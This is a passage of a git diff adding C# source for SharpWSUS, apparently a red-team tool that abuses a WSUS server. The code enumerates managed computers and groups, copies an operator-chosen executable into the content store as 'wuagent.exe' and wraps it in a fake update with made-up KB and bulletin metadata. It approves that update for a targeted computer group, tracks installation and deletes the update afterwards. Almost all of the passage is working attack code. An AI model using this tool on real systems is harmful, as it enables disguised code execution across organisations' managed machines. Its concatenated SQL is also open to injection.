@"</SecurityBulletinID><KBArticleID>" + Create.UpdateKB + @"</KBArticleID></ExtendedProperties>',NULL"); + sqlCommFun.CommandText = sbXMLBundle.ToString(); + try + { + Console.WriteLine("PrepareXMLBundletoClient"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareXmlBundleToClient."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbInjectUrl2Download(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbDownloadURL = new StringBuilder(); + string sDownloadURLexec = string.Empty; + if (Server.bSSL == true) + { + sDownloadURLexec = @"https://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; + } + else if (Server.bSSL == false) + { + sDownloadURLexec = @"http://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; + } + else + { + return false; + } + + sbDownloadURL.AppendLine(@"exec spSetBatchURL @urlBatch =N''"); + sqlCommFun.CommandText = sbDownloadURL.ToString(); + try + { + Console.WriteLine("InjectURL2Download"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbInjectUrl2Download."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbDeploymentRevision(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbDeployRev = new StringBuilder(); + sbDeployRev.AppendLine(@"exec spDeploymentAutomation @revisionID = " + Create.iRevisionID); + sqlCommFun.CommandText = sbDeployRev.ToString(); + try + { + Console.WriteLine("DeploymentRevision"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeploymentRevision."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareBundle(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbPrepareBund = new StringBuilder(); + System.Data.DataTable dtDataTbl = new System.Data.DataTable(); + + sbPrepareBund.AppendLine(@"declare @iImported int"); + sbPrepareBund.AppendLine(@"declare @iLocalRevisionID int"); + sbPrepareBund.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); + sbPrepareBund.AppendLine(@""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateMSRC + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateKB + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"en"); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateTitle + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateDescription + ""); + sbPrepareBund.AppendLine("\t\t\t" + @"This software update can be removed by selecting View installed updates in the Programs and Features Control Panel."); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine(@"',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); + sbPrepareBund.AppendLine(@"select @iImported, @iLocalRevisionID"); + sqlCommFun.CommandText = sbPrepareBund.ToString(); + + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + dtDataTbl.Load(sqldrReader); + Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; + + Console.WriteLine("PrepareBundle"); + Console.WriteLine("PrepareBundle Revision ID: {0}", Create.iRevisionID); + + if (Create.iRevisionID == 0) + { + Console.WriteLine("Error creating update bundle"); + sqldrReader.Close(); + return false; + } + + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareBundle."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs b/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs new file mode 100644 index 000000000..214e527b5 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs @@ -0,0 +1,63 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Web; + +public class ClFile +{ + public static string sFileName; + public static string sPayload; + public static string sFilePath; + public static string sArgs; + public static long lSize; + public static string sSHA1; + public static string sSHA256; + + public ClFile(string sPFilePath, string sPArgs, string sContentLocation, bool bPCopyFile) + { + sFilePath = sPFilePath; + sFileName = System.IO.Path.GetFileName(sFilePath); + sArgs = HttpUtility.HtmlEncode(HttpUtility.HtmlEncode(sPArgs)); + if (bPCopyFile == true) + { + FbCopyFile(sFilePath, sContentLocation); + } + lSize = new System.IO.FileInfo(sFilePath).Length; + sSHA1 = GetBase64EncodedSHA1Hash(sFilePath); + sSHA256 = GetBase64EncodedSHA256Hash(sFilePath); + } + public static bool FbCopyFile(string sFilePath, string sContentLocation) + { + try + { + //Console.WriteLine(sFilePath); + //Console.WriteLine(sContentLocation); + File.Copy(sFilePath, sContentLocation + @"\wuagent.exe", true); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbCopyFile."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + //https://stackoverflow.com/questions/19150468/get-sha1-binary-base64-hash-of-a-file-on-c-sharp/19150543 + public string GetBase64EncodedSHA1Hash(string filename) + { + FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); + SHA1Managed sha1 = new SHA1Managed(); + { + return Convert.ToBase64String(sha1.ComputeHash(fs)); + } + } + public string GetBase64EncodedSHA256Hash(string filename) + { + FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); + SHA256Managed sha256 = new SHA256Managed(); + { + return Convert.ToBase64String(sha256.ComputeHash(fs)); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs b/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs new file mode 100644 index 000000000..17072e026 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs @@ -0,0 +1,30 @@ +using System; + +public class ClGuid +{ + public static Guid gUpdate; + public static Guid gBundle; + public static Guid gTargetGroup; + //public ClGuid() + //{ + // gUpdate = Guid.NewGuid(); + // gBundle = Guid.NewGuid(); + // gTargetGroup = Guid.NewGuid(); + //} + + public static void GenerateUpdateGUID() + { + gUpdate = Guid.NewGuid(); + } + + public static void GenerateBundleGUID() + { + gBundle = Guid.NewGuid(); + } + public static void GenerateTargetGroupGUID() + { + gTargetGroup = Guid.NewGuid(); + } + + +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Connect.cs b/repos/SharpWSUS/SharpWSUS/lib/Connect.cs new file mode 100644 index 000000000..f8d5457b2 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Connect.cs @@ -0,0 +1,39 @@ +using System; +using System.Data.SqlClient; + +public class Connect +{ + public static SqlConnection FsqlConnection() + { + SqlConnection sqlcQuery = new SqlConnection(); + + if (Server.sDatabaseInstance.Contains("##WID") || Server.sDatabaseInstance.Contains("##SSEE")) + { + if (Server.sOS.Contains("Server 2008")) + { + sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database=" + Server.sDatabaseName + @";Integrated Security=True"; + } + else + { + sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database=" + Server.sDatabaseName + @"; Integrated Security=True"; + } + } + else + { + sqlcQuery.ConnectionString = @"Server=" + Server.sDatabaseInstance + @";Database=" + Server.sDatabaseName + @"; Integrated Security=True"; + } + + try + { + sqlcQuery.Open(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FsqlConnection."); + + Console.WriteLine($"Error Message: {e.Message}"); + return null; + } + return sqlcQuery; + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Enum.cs b/repos/SharpWSUS/SharpWSUS/lib/Enum.cs new file mode 100644 index 000000000..95589bcd6 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Enum.cs @@ -0,0 +1,135 @@ +using Microsoft.Win32; +using System; +using System.Data.SqlClient; + +public class Enum +{ + public static bool FbGetWSUSConfigSQL(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spConfiguration"; + try + { + //Gather Information via SQL + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sLocalContentCacheLocation = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalContentCacheLocation")); + Server.iPortNumber = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("ServerPortNumber")); + Console.WriteLine("\r\n################# WSUS Server Enumeration via SQL ##################"); + Console.WriteLine("ServerName, WSUSPortNumber, WSUSContentLocation"); + Console.WriteLine("-----------------------------------------------"); + Console.WriteLine("{0}, {1}, {2}\r\n", Environment.MachineName, Server.iPortNumber, Server.sLocalContentCacheLocation); + sqldrReader.Close(); + return true; + } + return false; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetWSUSConfigSQL."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbEnumAllComputers(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllComputers"; + try + { + Console.WriteLine("\r\n####################### Computer Enumeration #######################"); + Console.WriteLine("ComputerName, IPAddress, OSVersion, LastCheckInTime"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}, {1}, {2}, {3}", sqldrReader.GetValue(sqldrReader.GetOrdinal("FullDomainName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("IPAddress")), sqldrReader.GetValue(sqldrReader.GetOrdinal("ClientVersion")), sqldrReader.GetValue(sqldrReader.GetOrdinal("LastReportedStatusTime"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumAllComputers."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbEnumDownStream(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllDownstreamServers"; + try + { + Console.WriteLine("\r\n####################### Downstream Server Enumeration #######################"); + Console.WriteLine("ComputerName, OSVersion, LastCheckInTime"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}, {1}, {2}", sqldrReader.GetValue(sqldrReader.GetOrdinal("AccountName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("Version")), sqldrReader.GetValue(sqldrReader.GetOrdinal("RollupLastSyncTime"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumDownStream."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbEnumGroups(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllTargetGroups"; + try + { + Console.WriteLine("\r\n####################### Group Enumeration #######################"); + Console.WriteLine("GroupName"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}", sqldrReader.GetValue(sqldrReader.GetOrdinal("Name"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumGroups."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbGetWSUSServer() + { + try + { + const string keyName = @"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate"; + string WSUSServer = (string)Registry.GetValue(keyName, "WUServer", "WSUS Registry Key Not Found!"); + + Console.WriteLine("WSUS Server: {0}", WSUSServer); + + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetWSUSServer."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Group.cs b/repos/SharpWSUS/SharpWSUS/lib/Group.cs new file mode 100644 index 000000000..339217595 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Group.cs @@ -0,0 +1,178 @@ +using System; +using System.Data.SqlClient; + +public class Group +{ + public static bool GroupExists = false; + public static bool FbGetComputerTarget(SqlCommand sqlCommFun, string sTargetComputer) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'" + sTargetComputer + "'"; + try + { + Console.WriteLine("\r\nTargeting {0}", sTargetComputer); + Console.WriteLine("TargetComputer, ComputerID, TargetID"); + Console.WriteLine("------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sTargetComputerID = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("ComputerID")); + if (Server.sTargetComputerID.Length != 0) + { + sqldrReader.Close(); + sqlCommFun.CommandText = "SELECT dbo.fnGetComputerTargetID('" + Server.sTargetComputerID + "')"; + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sTargetComputerTargetID = (int)sqldrReader.GetValue(0); + Console.WriteLine("{0}, {1}, {2}", sTargetComputer, Server.sTargetComputerID, Server.sTargetComputerTargetID); + sqldrReader.Close(); + return true; + } + else + { + Console.WriteLine("Internal WSUS database error - Target computer {0} has ComputerID {1} but does not have TargetID", sTargetComputer.Length, Server.sTargetComputerID); + sqldrReader.Close(); + return false; + } + } + else + { + Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); + sqldrReader.Close(); + return false; + } + } + else + { + Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); + return false; + } + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetComputerTarget."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbGetGroupID(SqlCommand sqlCommFun, string GroupName) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spGetAllTargetGroups"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + string TargetGroupName = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("Name")); + if (TargetGroupName == GroupName) + { + ClGuid.gTargetGroup = (Guid)sqldrReader.GetValue(sqldrReader.GetOrdinal("TargetGroupID")); + GroupExists = true; + } + } + } + catch + { + Console.WriteLine("\r\nGroup does not exist already."); + return true; + } + sqldrReader.Close(); + return true; + } + + public static bool FbCreateGroup(SqlCommand sqlCommFun, string GroupName) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spCreateTargetGroup @name='" + GroupName + "', @id='" + ClGuid.gTargetGroup + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Group Created: {0}", GroupName); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbCreateGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbRemoveGroup(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeleteTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Remove Group"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbRemoveGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbAddComputerToGroup(SqlCommand sqlCommFun, int ComputerTargetID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spAddTargetToTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Added Computer To Group"); + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbAddComputerToGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbRemoveComputerFromGroup(SqlCommand sqlCommFun, int ComputerTargetID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spRemoveTargetFromTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Removed Computer From Group"); + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbRemoveComputerFromGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Reg.cs b/repos/SharpWSUS/SharpWSUS/lib/Reg.cs new file mode 100644 index 000000000..95c4ad547 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Reg.cs @@ -0,0 +1,86 @@ +using System; +using System.Text; +using System.Runtime.InteropServices; + +public class Reg +{ + public enum RegSAM + { + QueryValue = 0x0001, + SetValue = 0x0002, + CreateSubKey = 0x0004, + EnumerateSubKeys = 0x0008, + Notify = 0x0010, + CreateLink = 0x0020, + WOW64_32Key = 0x0200, + WOW64_64Key = 0x0100, + WOW64_Res = 0x0300, + Read = 0x00020019, + Write = 0x00020006, + Execute = 0x00020019, + AllAccess = 0x000f003f + } + public static class RegHive + { + public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); + public static UIntPtr HKEY_CURRENT_USER = new UIntPtr(0x80000001u); + } + public static class RegistryWOW6432 + { + [DllImport("Advapi32.dll")] + static extern uint RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out int phkResult); + + [DllImport("Advapi32.dll")] + static extern uint RegCloseKey(int hKey); + + [DllImport("advapi32.dll", EntryPoint = "RegQueryValueEx")] + public static extern uint RegQueryValueEx(int hKey, string lpValueName, int lpReserved, ref uint lpType, System.Text.StringBuilder lpData, ref uint lpcbData); + + static public string GetRegKey64(UIntPtr inHive, String inKeyName, string inPropertyName) + { + return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_64Key, inPropertyName); + } + + static public string GetRegKey32(UIntPtr inHive, String inKeyName, string inPropertyName) + { + return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_32Key, inPropertyName); + } + + public static string GetRegKey64(UIntPtr inHive, String inKeyName, RegSAM in32or64key, string inPropertyName) + { + //UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002; + int hkey = 0; + + try + { + uint lResult = RegOpenKeyEx(RegHive.HKEY_LOCAL_MACHINE, inKeyName, 0, (int)RegSAM.QueryValue | (int)in32or64key, out hkey); + if (0 != lResult) + { + return "ERROR_FILE_NOT_FOUND"; + } + uint lpType = 0; + uint lpcbData = 1024; + StringBuilder AgeBuffer = new StringBuilder(1024); + uint lResultv = RegQueryValueEx(hkey, inPropertyName, 0, ref lpType, AgeBuffer, ref lpcbData); + if (lResultv != 0) + { + return "ERROR_FILE_NOT_FOUND"; + } + byte[] arr = System.Text.Encoding.ASCII.GetBytes(AgeBuffer.ToString()); + return ByteArrayToString(arr); + } + finally + { + if (0 != hkey) RegCloseKey(hkey); + } + } + public static string ByteArrayToString(byte[] ba) + { + if (BitConverter.IsLittleEndian) + Array.Reverse(ba); + + string hex = BitConverter.ToString(ba); + return hex.Replace("-", ""); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Server.cs b/repos/SharpWSUS/SharpWSUS/lib/Server.cs new file mode 100644 index 000000000..98dd6d3f4 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Server.cs @@ -0,0 +1,140 @@ +using System; +using System.Net; + +public class Server +{ + public static bool bWSUSInstalled = true; + public static string sOS; + public static string sDatabaseInstance; + public static string sDatabaseName; + public static string sLocalContentCacheLocation; + public static string sComputerName; + public static int iPortNumber; + public static bool bSSL; + public static string sTargetComputerID; + public static int sTargetComputerTargetID; + + public static void GetServerDetails() + { + FvCheckSSL(); + FvFullComputerName(); + FvOSDetails(); + FvDatabaseBaseName(); + FvContentDirectory(); + } + public static void FvContentDirectory() + { + string sContentDirectoryTemp = string.Empty; + sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); + if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") + { + sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); + if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sContentDirectoryTemp = HEX2ASCII(sContentDirectoryTemp); + sContentDirectoryTemp = ReverseString(sContentDirectoryTemp); + sLocalContentCacheLocation = Environment.ExpandEnvironmentVariables(sContentDirectoryTemp); + return; + } + public static void FvFullComputerName() + { + sComputerName = Dns.GetHostEntry("LocalHost").HostName; + } + public static void FvDatabaseBaseName() + { + string sDBServerTemp = string.Empty; + sDBServerTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); + if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") + { + sDBServerTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); + if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sDBServerTemp = HEX2ASCII(sDBServerTemp); + sDatabaseInstance = ReverseString(sDBServerTemp); + + string sDBNameTemp = string.Empty; + sDBNameTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); + if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") + { + sDBNameTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); + if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sDBNameTemp = HEX2ASCII(sDBNameTemp); + sDatabaseName = ReverseString(sDBNameTemp); + return; + } + public static void FvOSDetails() + { + string sOSTemp = string.Empty; + sOSTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); + if (sOSTemp == "ERROR_FILE_NOT_FOUND") + { + sOSTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); + if (sOSTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect OS version."); + return; + } + } + sOSTemp = HEX2ASCII(sOSTemp); + sOS = ReverseString(sOSTemp); + } + public static void FvCheckSSL() + { + string sSSLTemp = string.Empty; + sSSLTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); + if (sSSLTemp == "ERROR_FILE_NOT_FOUND") + { + sSSLTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); + if (sSSLTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + return; + } + } + if (sSSLTemp == "01") + { + bSSL = true; + } + else + { + bSSL = false; + } + } + //https://stackoverflow.com/questions/17637950/convert-string-of-hex-to-string-of-little-endian-in-c-sharp + public static string HEX2ASCII(string hex) + { + string res = String.Empty; + for (int a = 0; a < hex.Length; a = a + 2) + { + string Char2Convert = hex.Substring(a, 2); + int n = Convert.ToInt32(Char2Convert, 16); + char c = (char)n; + res += c.ToString(); + } + return res; + } + //https://www.dotnetperls.com/reverse-string + public static string ReverseString(string s) + { + char[] arr = s.ToCharArray(); + Array.Reverse(arr); + return new string(arr); + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Status.cs b/repos/SharpWSUS/SharpWSUS/lib/Status.cs new file mode 100644 index 000000000..9b4238611 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Status.cs @@ -0,0 +1,150 @@ +using System; +using System.Data.SqlClient; + +public class Status +{ + public static bool FbApproveUpdate(SqlCommand sqlCommFun, string UpdateID, string Approver) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeployUpdate @updateID='" + UpdateID + "',@revisionNumber=204,@actionID=0,@targetGroupID='" + ClGuid.gTargetGroup + "',@adminName=N'" + Approver + "',@isAssigned=1,@downloadPriority=1,@failIfReplica=0,@isReplica=0"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("Approved Update"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbApproveUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbDeleteUpdate(SqlCommand sqlCommFun, string sBundleID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeclineUpdate @updateID='" + sBundleID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("\r\n[*] Update declined.\r\n"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqlCommFun.CommandText = @"exec spDeleteUpdateByUpdateID @updateID='" + sBundleID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("\r\n[*] Update deleted.\r\n"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); + Console.WriteLine($"Error Message: {e.Message}"); + Console.WriteLine("If you are in a lab and this timed out, this could occur if there are too many old patches in the database causing performance issues."); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbGetUpdateStatus(SqlCommand sqlCommFun, string UpdateID) + { + int LocalUpdateID = 0; + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"SELECT LocalUpdateID FROM dbo.tbUpdate WHERE UpdateID = '" + UpdateID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetUpdateStatus."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + + if (sqldrReader.Read()) + { + LocalUpdateID = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalUpdateID")); + sqldrReader.Close(); + } + else + { + Console.WriteLine("\r\nUpdate ID " + UpdateID + " cannot be found."); + return false; + } + + sqlCommFun.CommandText = @"SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalUpdateID='" + LocalUpdateID + "' AND TargetID='" + Server.sTargetComputerTargetID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetUpdateStatus2."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + + if (sqldrReader.Read()) + { + int SummarizationState = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("SummarizationState")); + if (SummarizationState == 1) + { + Console.WriteLine("\r\n[*] Update is not needed"); + return true; + } + if (SummarizationState == 2) + { + Console.WriteLine("\r\n[*] Update is not installed"); + return true; + } + if (SummarizationState == 3) + { + Console.WriteLine("\r\n[*] Update is downloaded"); + return true; + } + if (SummarizationState == 4) + { + Console.WriteLine("\r\n[*] Update is installed"); + return true; + } + if (SummarizationState == 5) + { + Console.WriteLine("\r\n[*] Update failed"); + return true; + } + if (SummarizationState == 6) + { + Console.WriteLine("\r\n[*] Reboot Required"); + return true; + } + else + { + Console.WriteLine("\r\n[*] Update 